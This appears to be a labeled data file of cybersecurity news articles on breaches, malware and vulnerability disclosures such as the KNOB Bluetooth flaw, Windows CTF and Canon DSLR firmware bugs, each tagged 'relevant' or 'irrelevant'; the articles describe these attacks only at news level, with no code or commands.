"Binance Confirms Hacker Obtained Its Users' KYC Data from 3rd-Party Vendor As suspected, the KYC details of thousands of Binance's customers that hackers obtained and leaked online earlier this month came from the company's third-party vendor, Malta-based cryptocurrency exchange Binance confirmed. For those unaware, Binance, the world's largest cryptocurrency exchange by volume, hit by a ""Potential KYC leak"" earlier this month, with an unknown hacker distributing the Know Your Customer (KYC) images of hundreds of its users online and to media outlets. Before leaking the KYC images online, the alleged hacker threatened the exchange to release KYC data of its 10,000 customers if the company did not pay 300 Bitcoins—equivalent to over $3 million at today's exchange value. While Binance CEO Changpeng Zhao called the incident a fud (fear, uncertainty, doubt), the exchange recently confirmed that some of the leaked images match actual accounts though others show evidence of manipulation. According to an official blog post, the company has provided more details of its ongoing investigation into the matter, revealing that ""some of the leaked images overlap with images that were processed by a third-party vendor, which Binance contracted a few times between early December 2017 and late February 2018."" binance kyc leak The team also said that multiple leaked images were photoshopped and did not match the KYC images in its database, and are, therefore ""being accounted into the comprehensive investigation."" ""In addition, every image processed through Binance for KYC purposes is embedded with a concealed digital watermark, which was notably absent from all of the leaked images,"" the company added. It has also been reported that the inclusion of modified images has been found consistent with the company's findings, suggesting that the KYC data has been changed or used to set up fraudulent Binance accounts. Though the investigation is still ongoing, the exchange said it has already started contacting all potential victims with ""guidance on privacy protection and restitution,"" and recommended that affected users should apply for new identification documents in their respective region. Binance Offers Lifetime VIP Accounts to KYC Leak Victims Binance also said it is offering a lifetime VIP membership to all its users affected by the recent KYC hack. The lifetime Binance VIP membership will include preferential trading fees, support, and ""more services."" The exchange calls security its ""top priority,"" saying that the company is committed to protecting its users in ""all possible circumstances,"" with its robust security measures, including an updated KYC verification system, an AI-based facial verification system introduced in 2018, as well as upgraded data security technology for storing and indexing of KYC data in 2019. As announced earlier this month, Binance is also offering a reward of 25 bitcoins—worth approx. $290,000—to anyone who provides information related to the identity of the alleged hacker. Binance suffered its largest hack in May with hackers managed to steal more than $40 million in Bitcoin, along with critical users information, like API keys, two-factor authentication codes, and other information required to log in to a Binance account. Found this article interesting? Follow THN on Facebook, Twitter ",irrelevant
"Binance KYC Data Leak — Crypto Exchange Sets $290,000 Bounty On Blackmailer Malta-based cryptocurrency exchange Binance has become a victim of a ransom demand from a scammer who claimed to have hacked the KYC (Know Your Customer) data of thousands of its customers. The unknown attacker threatened the world's largest cryptocurrency exchange by volume to release KYC information of 10,000 users if the company did not pay 300 Bitcoins—that's equivalent to almost $3.5 million at today's exchange value. Although the authenticity of the hack is not confirmed yet, several photos of individuals holding their identity cards, such as passports and voter IDs, have been circulating across different online channels. In response to the incident, Binance just released an official statement today confirming that ""an unidentified individual has threatened and harassed us, demanding 300 BTC in exchange for withholding 10,000 photos that bear similarity to Binance KYC data."" Binance said the company is still investigating the legitimacy of those images and has refused to pay the ransom and, as a result, the unidentified individual behind the demand began distributing the data online and to media outlets. Binance KYC Data Leak It seems like the attacker has created a Telegram group, which has already attracted over 10,000 people, and shared more than 400 images of people holding passports and identity documents from France, Turkey, the United States, Japan, Russia, and other nations around the world. However, according to Binance, images posted to the attacker's Telegram group lacks the digital watermark the exchange uses for its internal information, adding doubts about its authenticity. Binance also adds that its initial review of the leaked images shows they're all appeared to be dated from February of 2018 when the exchange ""contracted a third-party vendor for KYC verification in order to handle the high volume of requests at that time."" ""Currently, we are investigating with the third-party vendor for more information. We are continuing to investigate and will keep you informed,"" the company adds. ""The relevant law enforcement agencies have been contacted, and we will be working closely with them to pursue this person."" Additionally, the exchange is also offering a reward of 25 bitcoins—worth over $290,000—to anyone who provides information related to the identity of the blackmailer. Binance CEO Changpeng Zhao has also issued a statement on Twitter urging users not to fall for the ""KYC leak"" FUD (fear, uncertainty, doubt), saying that the company is currently looking into the matter and will update its users shortly.",irrelevant
"New Bluetooth Vulnerability Lets Attackers Spy On Encrypted Connections Over a billion Bluetooth-enabled devices, including smartphones, laptops, smart IoT devices, and industrial devices, have been found vulnerable to a high severity vulnerability that could allow attackers to spy on data transmitted between the two devices. The vulnerability, assigned as CVE-2019-9506, resides in the way 'encryption key negotiation protocol' lets two Bluetooth BR/EDR devices choose an entropy value for encryption keys while pairing to secure their connection. Referred to as the Key Negotiation of Bluetooth (KNOB) attack, the vulnerability could allow remote attackers in close proximity to targeted devices to intercept, monitor, or manipulate encrypted Bluetooth traffic between two paired devices. The Bluetooth BR/EDR (Basic Rate/Enhanced Data Rate, also known as ""Bluetooth Classic"") is a wireless technology standard that has typically been designed for relatively short-range, continuous wireless connection such as streaming audio to headsets or portable speakers. From the security point of view, the core specification of Bluetooth BR/EDR protocol supports encryption keys with entropy between 1 and 16 bytes/octets, where the higher value means more security. However, researchers find that the entropy negotiation, which devices perform over the Link Manager Protocol (LMP), is neither encrypted nor authenticated, and can be hijacked or manipulated over-the-air. How Does Bluetooth BR/EDR Key Negotiation Vulnerability Work? The newly discovered Bluetooth vulnerability could allow a remote attacker to trick two targeted devices into agreeing on an encryption key with only 1 byte (8 bits) of entropy, eventually making it easy to brute-force the negotiated encryption keys. ""For example, assume that there are two controllers attempting to establish a connection: Alice and Bob. After authenticating the link key, Alice proposes that she and Bob use 16 bytes of entropy. This number, N, could be between 1 and 16 bytes. Bob can either accept this, reject this and abort the negotiation, or propose a smaller value,"" explains an advisory published by the CERT Coordination Center. ""Bob may wish to propose a smaller N value because he (the controller) does not support the larger amount of bytes proposed by Alice. After proposing a smaller amount, Alice can accept it and request to activate link-layer encryption with Bob, which Bob can accept."" However, by exploiting the reported vulnerability ""an attacker, Charlie, could force Alice and Bob to use a smaller N by intercepting Alice's proposal request to Bob and changing N."" Once decrypted, the attacker can passively capture encrypted messages being transmitted over the Bluetooth traffic, decrypt the ciphertext and inject valid valid ciphertext, all in real-time and stealthy. Besides this, it is also important to note that, for an attack to be successful: both Bluetooth devices must be establishing a BR/EDR connection, both Bluetooth devices must be vulnerable to this flaw, the attacker should be able to block direct transmissions between devices while pairing, and the attack must be performed during negotiation or renegotiation of a paired device connection; existing sessions cannot be attacked. Moreover, the official advisory released by Bluetooth.com also says, ""Since not all Bluetooth specifications mandate a minimum encryption key length, it is possible that some vendors may have developed Bluetooth products where the length of the encryption key used on a BR/EDR connection could be set by an attacking device down to a single octet."" Affected Vendors/Software/OS and Patch Updates This vulnerability was discovered by a team of researchers including Daniele Antonioli from SUTD, Dr. Nils Ole Tippenhauer from CISPA and Prof. Kasper Rasmussen from the University of Oxford. ""We evaluate the KNOB attack on more than 14 Bluetooth chips from different vendors such as Intel, Broadcom, Apple, and Qualcomm. All the chips accept 1 byte of entropy except the Apple W1 chip that accepts (at least) 7 bytes of entropy,"" the researchers said in a detailed paper [PDF] released yesterday. To mitigate KNOB attack, the maintainers of the Bluetooth specifications have strongly recommended device manufacturers and software vendors to enforce a minimum encryption key length of 7 octets for BR/EDR connections. To patch this vulnerability, various affected vendors have already started releasing security updates for their operating systems, firmware, and software, including: Microsoft for Windows Cisco for IP Phones and Webex Google for Android Apple for macOS, iOS, and watchOS BlackBerry",relevant
"Cerberus: A New Android 'Banking Malware For Rent' Emerges After a few popular Android Trojans like Anubis, Red Alert 2.0, GM bot, and Exobot, quit their malware-as-a-service businesses, a new player has emerged on the Internet with similar capabilities to fill the gap, offering Android bot rental service to the masses. Dubbed ""Cerberus,"" the new remote access Trojan allows remote attackers to take total control over the infected Android devices and also comes with banking Trojan capabilities like the use of overlay attacks, SMS control, and contact list harvesting. According to the author of this malware, who is surprisingly social on Twitter and mocks security researchers and antivirus industry openly, Cerberus has been coded from scratch and doesn't re-use any code from other existing banking Trojans. The author also claimed to be using the Trojan for private operations for at least two years before renting it out for anyone interested from the past two months at $2000 for 1 month usage, $7000 for 6 months and up to $12,000 for 12 months. Cerberus Banking Trojan: Features According to security researchers at ThreatFabric who analyzed a sample of Cerberus Trojan, the malware has a pretty common list of features, like: taking screenshots recording audio recording keylogs sending, receiving, and deleting SMSes, stealing contact lists forwarding calls collecting device information Tracking device location stealing account credentials, disabling Play Protect downloading additional apps and payloads removing apps from the infected device pushing notifications locking device's screen Once infected, Cerberus first hides its icon from the application drawer and then asks for the accessibility permission by masquerading itself as Flash Player Service. If granted, the malware automatically registers the compromised device to its command-and-control server, allowing the buyer/attacker to control the device remotely. To steal users' credit card numbers, banking credentials and passwords for other online accounts, Cerberus lets attackers launch screen overlay attacks from its remote dashboard. In screen overlay attack, the Trojan displays an overlay on top of legitimate mobile banking apps and tricks Android users into entering their banking credentials into the fake login screen, just like a phishing attack. ""The bot abuses the accessibility service privilege to obtain the package name of the foreground application and determine whether or not to show a phishing overlay window,"" the researchers said. android banking malware According to researchers, Cerberus already contains overlay attack templates for a total of 30 unique targets, including: 7 French banking apps 7 U.S. banking apps 1 Japanese banking app 15 non-banking apps Cerberus Uses Motion-based Evasion Tactic Cerberus also uses some interesting techniques to evade detection from antivirus solutions and prevent its analysis, like using the device accelerometer sensor to measure movements of the victim. The idea is straightforward—as a user moves, their Android device usually generates some amount of motion sensor data. The malware monitors the user's steps through the device motion sensor to check if it is running on a real Android device. ""The Trojan uses this counter to activate the bot—if aforementioned step counter hits the pre-configured threshold it considers running on the device to be safe,"" the researchers explain. ""This simple measure prevents the Trojan from running and being analyzed in dynamic analysis environments (sandboxes) and on the test devices of malware analysts."" If the user's device lacks sensor data, the malware assumes that the sandbox for scanning malware is an emulator with no motion sensors and will not run the malicious code. However, this technique is also not unique and has previously been implemented by the popular Android banking Trojan 'Anubis'. It should be noted that Cerberus malware does not exploit any vulnerability to get automatically installed on a targeted device in the first place. Instead, the malware installation relies on social engineering tactics. Therefore, to protect yourself from becoming victims to such malware threats, you are recommended to be careful what you download on your phone and definitely think thrice before side-loading stuff as well.",irrelevant
"Cisco 'Knowingly' Sold Hackable Video Surveillance System to U.S. Government Cisco Systems has agreed to pay $8.6 million to settle a lawsuit that accused the company of knowingly selling video surveillance system containing severe security vulnerabilities to the U.S. federal and state government agencies. It's believed to be the first payout on a 'False Claims Act' case over failure to meet cybersecurity standards. The lawsuit began eight years ago, in the year 2011, when Cisco subcontractor turned whistleblower, James Glenn, accused Cisco of continue selling a video surveillance technology to federal agencies even after knowing that the software was vulnerable to multiple security flaws. According to the court documents seen by The Hacker News, Glenn and one of his colleagues discovered multiple vulnerabilities in Cisco Video Surveillance Manager (VSM) suite in September 2008 and tried to report them to the company in October 2008. Cisco Video Surveillance Manager (VSM) suite allows customers to manage multiple video cameras at different physical locations through a centralized server, which in turn, can be accessed remotely. The vulnerabilities could have reportedly enabled remote hackers to gain unauthorized access to the video surveillance system permanently, eventually allowing them to gain access to all video feeds, all stored data on the system, modify or delete video feeds, and bypass security measures. Cisco Video Surveillance Manager Apparently, Net Design, the Cisco contractor where Glenn was working at that time, fired him shortly after he reported Cisco's security violations, which the company officially described as a cost-cutting measure. However, in 2010, when Glenn realized that Cisco never fixed those issues neither notified its customers, he informed the U.S. federal agency, who then launched a lawsuit claiming Cisco had defrauded U.S. federal, state and local governments who purchased the product. Cisco, directly and indirectly, sold its VSM software suit to police departments, schools, courts, municipal offices and airports as we as to many government agencies including the U.S. Department of Homeland Security, the Secret Service, the Navy, the Army, the Air Force, the Marine Corps and the Federal Emergency Management Agency (FEMA). ""Cisco has known of these critical security flaws for at least two and a half years; it has failed to notify the government entities that have purchased and continue to use VSM of the vulnerability,"" the lawsuit states. ""Thus, for example, an unauthorized user could effectively shut down an entire airport by taking control of all security cameras and turning them off. Alternately, such a hacker could access the video archives of a large entity to obscure or eliminate video evidence of theft or espionage."" After the lawsuit was filed, the company acknowledged the vulnerabilities (CVE-2013-3429, CVE-2013-3430, CVE-2013-3431) and released an updated version of its VSM software suit. As part of the lawsuit, Cisco has finally agreed to pay $8.6 million in the settlement—of which Glenn and his lawyers will receive $1.6 million and the rest $7 million going to the federal government and the 16 states that purchased the affected product. In response to the latest settlement, Cisco issued an official statement Wednesday saying it was ""pleased to have resolved"" the 2011 dispute and that ""there was no allegation or evidence that any unauthorized access to customers' video occurred"" as a result of its VSM suit's architecture. However, the company added that video feeds could ""theoretically have been subject to hacking,"" though the lawsuit has not claimed that anyone had exploited the vulnerabilities discovered by Glenn.",relevant
"Use This Privacy Tool to View and Clear Your 'Off-Facebook Activity' Data Well, here we have great news for Facebook users, which is otherwise terrible for marketers and publishers whose businesses rely on Facebook advertisement for re-targeted conversations. Following the Cambridge Analytica scandal, Facebook has taken several privacy measures in the past one year with an aim to give its users more control over their data and transparency about how the social media giant and other apps on its platform use that data. Now in its new effort, Facebook has launched a new privacy feature that allows its users to control data that the social media platform receives from other apps and websites about their online activity. Dubbed ""Off-Facebook Activity,"" the feature was initially announced by Facebook CEO Mark Zuckerberg last year as ""Clear History,"" allowing users to clear the data that third-party websites and apps share with Facebook. ""Off-Facebook Activity lets you see a summary of the apps and websites that send us information about your activity, and clear this information from your account if you want to,"" Facebook says in a post published today. ""We expect this could have some impact on our business, but we believe giving people control over their data is more important."" What Are Off-Facebook Activities? For those unaware, Facebook collects its users information in two ways—first, through the information you fill into its site and apps, and second, by tracking your browsing history via Login with Facebook, Like button, Facebook comments, and invisible code called Facebook Pixel embedded on other sites—to know which websites you visit when you're not on Facebook. It's probably happened to you—when you scroll through your Facebook feed, the social media site displays advertisements from some specific brands whose websites you have recently visited. That's because most publishers take Facebook's help, using tools like Facebook Pixel or Facebook Login, to identify their website visitors and then use the Facebook advertising platform to show targeted advertisements to them. How to Use Off-Facebook Activity Tool? clear off-facebook activity Now, with the help of the new tool, you will be able to see a summary of the data other apps and websites have sent Facebook through its business tools as well as disconnect this information or all future off-Facebook activity altogether from your account. To use this tool, go to your Facebook account's settings and click on Off-Facebook Activity. Once open, you will see the apps and websites that are tracking your activity and sending reports to Facebook for ad targeting. You can tap the ""Clear History"" button to clear your browsing history and disconnect your Facebook account from selected apps and websites or all of them in the future. ""We won't know which websites you visited or what you did there, and we won't use any of the data you disconnect to target ads to you on Facebook, Instagram or Messenger,"" Facebook said. Facebook Doesn't Delete Your Data; Instead, Just Disconnects! However, it's important to note that the feature doesn't actually allow users to delete their browsing information; instead, it simply lets users dissociate collected data from their Facebook account. In the background on its Database structure, Facebook now assigns a unique SID to each online activity that an app or website shares with it and then associates those SIDs with your profile referring as a unique UID. facebook database As shown in the diagram, when you click the ""Clear History"" button, the feature basically dissociates your off-site activity by simply removing the mapping between the UIDs and SIDs instead of deleting all rows and columns in its database. ""In most cases, when a person uses Off-Facebook Activity to disconnect that information, we remove this mapping between the UID and SID within 48 hours, which breaks the process of joining individual rows in data warehouse tables with a user account,"" Facebook's engineering team said in a separate blog post. ""If a person chooses to have off-site activity disconnected going forward, we automatically disconnect it and rotate SIDs on a daily basis. We took a similar approach to other information that carries a risk of user identification, like browser or device identifiers, and converted those to alternative SIDs as well."" In simple words, Facebook will still hold on to the information it collected on you but will anonymize that data rather than pair it with your profile. Starting today, the social media giant has begun rolling out the Off-Facebook Activity feature for Facebook users in Ireland, Spain, and South Korea, which would be followed by a worldwide launch ""over the coming months.""",irrelevant
"Bluetana App Quickly Detects Hidden Bluetooth Card Skimmers at Gas Pumps In recent years, gas stations have become one of the favorite targets for thieves who are stealing customers' credit and debit card information by installing a Bluetooth-enabled payment card skimmers at gas stations across the nation. The media has also reported several recent crimes surrounding credit card skimmers, including: Gas pump skimmer found at a 7-Eleven in Pinellas County Credit card skimmer found at West Palm Beach gas station Credit Card Skimmer Found at Gas Station in Sunnyvale Several Gas Pump Credit Card Skimmers Found at Bay Area Stations Gas pump credit card skimmers found at Boerne stations Credit card skimmers target Anthem Circle K For those unaware, Bluetooth credit card skimmer is a tiny sneaky device designed to stealthily capture payment card information, like credit card holder's card number, expiration date and the full name, which nearby thieves then retrieve wirelessly over a Bluetooth connection. Since these devices have been designed to blend in seamlessly with the machine they're placed on, sometimes it can't be spotted—even if you're using your eyes, fingers and your common sense. Skimmers are often found discreetly placed on bank ATMs, however, in recent years crooks have started targeting gas stations, where card readers for customers are far easier to tamper with than ATMs, making it easier to pull off the crime. credit card skimmers at gas pumps Well, here great news—here's a smartphone app that could help customers at gas pumps to quickly and accurately detect these nasty Bluetooth-based payment card skimmers. A team of cybersecurity researchers at the University of California San Diego and the University of Illinois has developed a new mobile app that can wirelessly and accurately detect card skimmers installed by criminals on gas stations or bank ATMs. Dubbed Bluetana, the smartphone app works by scanning all nearby Bluetooth devices—both Classic and Bluetooth Low Energy (BLE)—every 5 seconds using Android's Bluetooth API and when it detects a potential skimmer, the app indicates it to the user by highlighting the device record in Red. That's possible because Bluetana uses an algorithm to differentiate credit card skimmers from other common Bluetooth devices, such as sensors, smartphones, or vehicle tracking hardware, that appear in Bluetooth scans at gas stations. How Does Bluetana Detect Card Skimmers? Bluetana credit card skimmer detector app As shown in the diagram, the app differentiates devices in the following procedure: If ""Class-of-Device"" is uncategorized, Bluetana saves its data for later analysis. It then matches the device's MAC prefix against a list of prefixes used in skimming devices recovered by law enforcement. If the device has a MAC that is not on the list, it is unlikely to be a skimmer, and the app highlights the record Yellow. If the device MAC is on the list, but the ""Device Name"" matches a common product, it is unlikely to be a skimmer and the record highlights in Orange. If a device's MAC prefix matches, Class-of-Device is categorized, and Device Name is not common, it indicates the device is likely to be a skimmer, and Bluetana highlights the record in Red. Researchers said they were surprised that their Bluetana app was able to detect so many skimmers that had not been discovered by regular manual inspections or other detection methods. Their app even detected two skimmers that were installed in gas pumps and had evaded detection for six months. ""We equipped 44 volunteers in six U.S. states with smartphones running Bluetana. Our volunteers have collected scans at 1,185 gas stations, where they observed a total of 2,562 Bluetooth devices,"" researchers said in a research paper [PDF]. ""In these scans, Bluetana detected a total of 64 skimmers installed at gas stations in Arizona, California, Nevada, and Maryland, and it was the sole source of information that led law enforcement to find 33 skimmers."" According to their study, Bluetana takes just 3 seconds on average to detect a credit card skimmer—far less than manual inspections by law enforcement officials that can take 30 minutes on average. Bluetana researchers worked closely with the United States Secret Service. For the time being, the app is only available to official gas pump inspectors in several U.S. states and is not expected to go mainstream for consumers anytime soon, the researchers noted.",irrelevant
"Google Discloses 20-Year-Old Unpatched Flaw Affecting All Versions of Windows Update — With this month's patch Tuesday updates, Microsoft has finally addressed this vulnerability, tracked as CVE-2019-1162, by correcting how the Windows operating system handles calls to Advanced Local Procedure Call (ALPC). A Google security researcher has just disclosed details of a 20-year-old unpatched high-severity vulnerability affecting all versions of Microsoft Windows, back from Windows XP to the latest Windows 10. The vulnerability resides in the way MSCTF clients and server communicate with each other, allowing even a low privileged or a sandboxed application to read and write data to a higher privileged application. MSCTF is a module in Text Services Framework (TSF) of the Windows operating system that manages things like input methods, keyboard layouts, text processing, and speech recognition. In a nutshell, when you log in to your Windows machine, it starts a CTF monitor service that works as a central manager to handle communications between all clients, which are actually windows for each process running on the same session, through an ALPC (advanced local procedure call) port. ""You might have noticed the ctfmon service in task manager, it is responsible for notifying applications about changes in keyboard layout or input methods. The kernel forces applications to connect to the ctfmon service when they start, and then exchange messages with other clients and receive notifications from the service,"" the researcher explained. Tavis Ormandy from Google's Project Zero Team discovered that since there is no access control or any kind of authentication in place for this interaction, any application, any user and even sandboxed processes can: connect to ctfmon ALPC port across all sessions, read and write the text of any window, from any other session, fake their thread id, process id, and HWND, pretend as a CTF service, tricking other applications, even privileged ones, to connect to it, or escape from sandboxes and escalate privileges. ""There is no access control in CTF, so you could connect to another user's active session and take over any application, or wait for an Administrator to login and compromise their session,"" Ormandy explains in a blog post published today. ""It turns out it was possible to reach across sessions and violate NT security boundaries for nearly twenty years, and nobody noticed."" If exploited, the weakness in CTF protocol could allow attackers to easily bypass User Interface Privilege Isolation (UIPI), letting even an unprivileged process to: read sensitive text from any window of other applications, including passwords out of dialog boxes, gain SYSTEM privileges, take control of the UAC consent dialog, send commands to the administrator's console session, or escape IL/AppContainer sandboxes by sending input to unsandboxed windows. Ormandy has also published a proof-of-concept video demonstrating how the issue can be exploited to gain SYSTEM privileges in Windows 10. Besides this, CTF protocol reportedly also contain many memory corruption flaws that, according to the researcher, can be exploited in a default configuration. ""Even without bugs, the CTF protocol allows applications to exchange input and read each other's content. However, there are a lot of protocol bugs that allow taking complete control of almost any other application. It will be interesting to see how Microsoft decides to modernize the protocol,"" Ormandy says. The researcher has also released a custom open-source ""CTF Exploration Tool"" on Github that he developed and used to discover many critical security issues in the Windows CTF protocol. Ormandy responsibly reported his findings to Microsoft in mid-May this year and released the details to the public today after Microsoft failed to address the issue within 90 days of being notified.",relevant
"Ransomware Hits Dental Data Backup Service Offering Ransomware Protection THIS WEEK IN THE IRONIC NEWS: DDS Safe, an online cloud-based data backup system that hundreds of dental practice offices across the United States are using to safeguard medical records and other information of their patients from ransomware attacks has been hit with ransomware. Provided by two Wisconsin-based companies, Digital Dental Record and PerCSoft, the backend system of affected medical records retention and backup solutions has probably been hit by Sodinokibi ransomware, also known as Sodin or REvil malware. Though it's not yet clear how attackers managed to compromise the company's infrastructure, the latest ransomware attack is yet another example of successful supply chain attack, crippling computer systems in 400 dental practice offices around the United States this week. According to statements released by both companies, the ransomware virus hit a remote data management software on Monday, August 26, that DDS Safe uses to back up its client data and encrypted files of hundreds of dental practice customers relying on the backup solution. The ransomware attack had some serious effect on some dental offices, with one McFarland dentist quoted by CNN as saying: ""We have no access to the patient charts, schedule, x-rays, or payment ledger. The doctor cannot do proper treatment without a chart history and x-rays."" Ransomware virus typically encrypts all files on the targeted computers and then demands a ransom (usually in Bitcoins) in exchange for the decryptor from the attacker that helps the victims regain access to their important files. ransomware protection At the time of writing, the company claimed to have a decryptor that they are using to help affected customers decrypt their files at a good rate of succession. ""PerCSoft assures us it is working to restore files as quickly and completely as possible, but restoration is a slow and methodical process that could take several days to complete,"" the Digital Dental Record said. However, the official statements from the companies haven't particularly mentioned how they got their hands on the ransomware decryption software, suggesting that the unknown amount of ransom has been paid to the cybercriminals. Meanwhile, the companies said they are actively working with the Federal Bureau of Investigation's Cyber Crime Unit to thoroughly investigate the incident, adding that they have been in touch with most of the affected customers, describing them as ""only a small percentage of the affected practices."" This year has seen a rise in ransomware attacks against public infrastructure and government institutions, from where cybercriminals seek successful returns as most of the times the targeted organizations content is vital to the public interest. Earlier this year, ransomware crippled computer system infrastructure of multiple states in the United States, including Florida, Baltimore, and Texas. In March, ransomware also hit Norsk Hydro, forcing the Aluminum giant to shut down several plants and switch to manual operations. Just last week, some residents of South Africa financial capital Johannesburg were left without electricity after the city's power company got attacked by a ransomware virus.",irrelevant
"Canon DSLR Cameras Can Be Hacked With Ransomware Remotely The threat of ransomware is becoming more prevalent and severe as attackers' focus has now moved beyond computers to smartphones and other Internet-connected smart devices. In its latest research, security researchers at cybersecurity firm CheckPoint demonstrated how easy it is for hackers to remotely infect a digital DSLR camera with ransomware and hold private photos and videos hostage until victims pay a ransom. Yes, you heard me right. Security researcher Eyal Itkin discovered several security vulnerabilities in the firmware of Canon cameras that can be exploited over both USB and WiFi, allowing attackers to compromise and take over the camera and its features. According to a security advisory released by Canon, the reported security flaws affect Canon EOS-series digital SLR and mirrorless cameras, PowerShot SX740 HS, PowerShot SX70 HS, and PowerShot G5X Mark II. ""Imagine how would you respond if attackers inject ransomware into both your computer and the camera, causing them to hold all of your pictures hostage unless you pay a ransom,"" Itkin warns. Canon DSLR PTP and Firmware Vulnerabilities All these vulnerabilities, listed below, reside in the way Canon implements Picture Transfer Protocol (PTP) in its firmware, a standard protocol that modern DSLR cameras use to transfer files between camera and computer or mobile devices via wired (USB) or wirelessly (WiFi). Besides file transfer, Picture Transfer Protocol also supports dozens of commands to remotely handle many other tasks on camera—from taking live pictures to upgrading the camera's firmware—many of which have been found vulnerable. CVE-2019-5994 — Buffer Overflow in SendObjectInfo CVE-2019-5998 — Buffer Overflow in NotifyBtStatus CVE-2019-5999 — Buffer Overflow in BLERequest CVE-2019-6000 — Buffer Overflow in SendHostInfo CVE-2019-6001 — Buffer Overflow in SetAdapterBatteryReport CVE-2019-5995 — Silent Malicious Firmware Update Itkin found that Canon's PTP operations neither require authentication nor use encryption in any way, allowing attackers to compromise the DSLR camera in the following scenarios: Via USB — Malware that has already compromised your PC can propagate into your camera as soon as you connect it with your computer using a USB cable. Over WiFi — An attacker in close proximity to a targeted DSLR camera can set up a rogue WiFi access point to infect your camera. ""This can be easily achieved by first sniffing the network and then faking the AP to have the same name as the one the camera automatically attempts to connect. Once the attacker is within the same LAN as the camera, he can initiate the exploit,"" Itkin explains. Exploiting Canon DSLR Flaw to Deploy Ransomware Over-the-Air As a proof-of-concept, the researcher successfully exploited one of these vulnerabilities that allowed them to push and install a malicious firmware update on a targeted DSLR camera over WiFi—with no interaction required from the victim. As shown in the video demonstration, the malicious firmware was modified to encrypt all files on the camera and display a ransom demand on its screen using the same built-in AES functions that Canon uses to protect its firmware. ""There is a PTP command for a remote firmware update, which requires zero user interaction,"" the researcher explains. ""This means that even if all of the implementation vulnerabilities are patched, an attacker can still infect the camera using a malicious firmware update file."" A real ransomware attack of this type is one of the biggest threats to your precious memories where hackers can typically demand money in exchange for the decryption key that would unlock your photos, videos and audio files. Researchers responsibility reported these vulnerabilities to Canon in March this year. However, the company has currently only released an updated firmware for Canon EOS 80D model and recommended users of other affected models to follow basic security practices until patches for their devices become available. For more details about the vulnerabilities in Canon camera models, you can head on to CheckPoint's report published yesterday.",relevant
"Epic Games Hit With Class Action Lawsuit Over Hacked 'Fortnite' Accounts Epic Games, the creator of the popular 'Fortnite' video game, is facing a class-action lawsuit from gamers over hacked Fortnite accounts, accusing the company of failing to maintain adequate security measures and notify users of the security breach in a timely manner. The lawsuit, filed by 'Franklin D. Azar and Associates' in the United States District Court in North Carolina on behalf of over 100 affected users, claims that ""affected Fortnite users have suffered an ascertainable loss in that they have had fraudulent charges made to their credit or debit cards."" According to the lawsuit, Epic Games acknowledged a vulnerability in its system that allowed hackers to unauthorizedly access players' account and purchase in-game currency using their saved credit or debit cards. Apparently, the law firm is trying to connect two separate reports—first, a responsible vulnerability disclosure in Fortnite system and second, multiple password reuse and phishing attacks—alleging that the vulnerability which CheckPoint reported earlier this year was exploited in the wild. However, at that time, neither security firm CheckPoint nor Fortnite developer Epic Games acknowledged or claimed that the reported vulnerabilities had actually been exploited to takeover Fortnite player accounts. Instead, Epic Games released a separate advisory on its website warning its users about phishing and credential stuffing attacks, where hackers were successfully able to compromise an undisclosed number of Fortnite accounts using username/password combinations leaked from third-party sites. For those unaware, in January 2019, Check Point researchers disclosed a cross-site scripting (XSS) flaw in Fortnite that could have allowed remote attackers to completely takeover player accounts just by tricking them into clicking an unsusceptible link. epic games fortnite class action Once compromised, attackers could perform various tasks, like accessing players' personal information, buying in-game virtual currencies using their credit cards, and purchasing game equipment that would then be transferred to a separate account controlled by the attacker and resold. The attackers even could have access to all the victim's in-game contacts and conversations held by the player and his friends during the game, which can then be abused to exploit the account owner's privacy. Besides this, the law firm also claimed that ""Check Point notified Epic Games of the vulnerability in November of 2018. Not until two months later did Epic Games acknowledge the flaw. Epic Games did not disclose how many accounts were affected by the data breach."" The Hacker News has reached out to Epic Games, CheckPoint and Franklin D. Azar & Associates for their comment on this matter, and we will update the article as soon as we hear back from them. Even if the reported account takeover vulnerability was not exploited, the lawsuit could still create problems for Epic Games, knowing the fact that hackers actively sell stolen Fortnite accounts on shady internet forums. According to a report on BBC published late last year after interviewing 20 hackers, several teens, as young as 14, are found making thousands of pounds every week by selling hacked Fortnite accounts due to the popularity of the royal battle game that has over 200 million registered users. Whatever be the outcome of the latest lawsuit filed against Epic Games, The Hacker News strongly recommends all users to remain vigilant while exchanging any information digitally and always check for the legitimacy of links to information available on the User Forum and other Fortnite websites. To protect your accounts from being hijacked, you are also advised to enable two-factor authentication (2FA) which prompts you to enter a security code sent to your email upon logging into the Fortnite game, preventing account takeover even if your account credentials get compromised. Most importantly: Using the same password across multiple websites is a bad, bad idea.",irrelevant
"European Central Bank Shuts Down 'BIRD Portal' After Getting Hacked The European Central Bank (ECB) confirmed Thursday that it had been hit by a cyberattack that involved attackers injecting malware into one of its websites and potentially stealing contact information of its newsletter subscribers. Headquartered in Germany, the European Central Bank (ECB) is the central bank of the 19 European Union countries which have adopted the euro and is itself responsible for supervising the data protection practices of the banking system across these countries. In an official statement published Thursday, the ECB said unknown ""unauthorized parties"" had managed to breach its Banks' Integrated Reporting Dictionary (BIRD) website, which was hosted by a third-party provider, eventually forcing the bank to shut down the site. Launched in 2015, BIRD is a joint initiative of the Eurosystem to the euro zone's central banks and the banking system, which provides banks with a precise description of the data that aims to help reporting agents efficiently organize information stored in their internal systems and fulfill their reporting requirements. At the time of writing, the BIRD website displays a page informing visitors that the site is down for maintenance at the moment and will be back online shortly. However, it doesn't mention anything about the security incident. The BIRD website appears to have been hacked several months ago on December 2018, according to a Reuters report, but the ECB discovered the breach just late last week during regular maintenance work. Unknown hackers managed to install malware onto the external server hosting the BIRD website to host software for phishing attacks, which may have allowed them to walk away with the email addresses, names and position titles of 481 subscribers of the site. The ECB assured its users that the stolen information does not include their passwords and that ""neither ECB internal systems nor market-sensitive data were affected"" in the breach since the BIRD website is physically separate from other external and internal ECB systems. The ECB said that it ""takes data security extremely seriously"" and have already informed the European Data Protection Supervisor about the incident. It has also started contacting people whose data may have been affected. If you are one of those affected users, you are advised to beware of phishing emails and follow standard security practices while browsing online. This is not the very first time when the European Central Bank has been hit by a security breach. The ECB suffered a data breach in 2014 as well, when hackers managed to compromise its database serving its public website, leading to the theft of email addresses, phone numbers and other contact details of people registering for events at the ECB. The attacks on banks have been increased in recent years, but till now, the central bank of Bangladesh experienced the world's biggest cyberattack that took place in 2016 when cybercriminals successfully stole $81 million from the country's central bank account at the New York Fed while attempting to transfer $951 million.",irrelevant
